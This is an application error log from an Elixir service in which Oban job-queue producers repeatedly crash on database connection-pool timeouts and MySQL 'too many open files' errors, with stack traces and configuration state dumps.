State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:11:49.244509Z], limit: 50, uuid: "65aaf4ea-90d6-4f47-b0ce-4c647aaf1de2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.244516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26583>, refresh_timer: #Reference<0.2525715032.1121189889.164327>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:11:49.244463Z], limit: 5, uuid: "e1d2daab-77aa-4bb7-8736-36e9b5a26986", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.244470Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26581>, refresh_timer: #Reference<0.2525715032.1121189889.164328>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:01.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:11:49.245354Z], limit: 10, uuid: "bdfbaf6e-c28d-42d3-8d1d-e4a6bf833554", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.245360Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26584>, refresh_timer: #Reference<0.2525715032.1099431938.50572>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:01.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:11:49.238036Z], limit: 20, uuid: "9f882b52-d3cf-41c4-b808-def07b15c55a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:11:49.238045Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26580>, refresh_timer: #Reference<0.2525715032.1068498948.50462>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:02.066000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:05.078000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:08.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:08.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:10.315000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:10.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:10.543000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:11.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:12.144000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:12:01.244729Z], limit: 20, uuid: "37a3a364-db0a-4009-b03a-88c700955b80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.244735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164410>, refresh_timer: #Reference<0.2525715032.1121189889.164409>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:12:01.242548Z], limit: 5, uuid: "99683bf6-c93d-44bf-b60e-976540ad7d13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.242553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26981>, refresh_timer: #Reference<0.2525715032.1068498948.50574>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:12:01.241911Z], limit: 50, uuid: "94fbeed0-9174-4f78-92fa-d2629aa372ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.241917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.26982>, refresh_timer: #Reference<0.2525715032.1068498948.50568>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:12:01.242743Z], limit: 10, uuid: "a4f6041e-38e2-4789-9d65-2df5b0cd5f80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.242748Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50582>, refresh_timer: #Reference<0.2525715032.1068498948.50581>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:12:01.242746Z], limit: 3, uuid: "38305682-c8ac-40ad-a38d-4b7be3dc1754", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.242752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164411>, refresh_timer: #Reference<0.2525715032.1099431938.50734>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
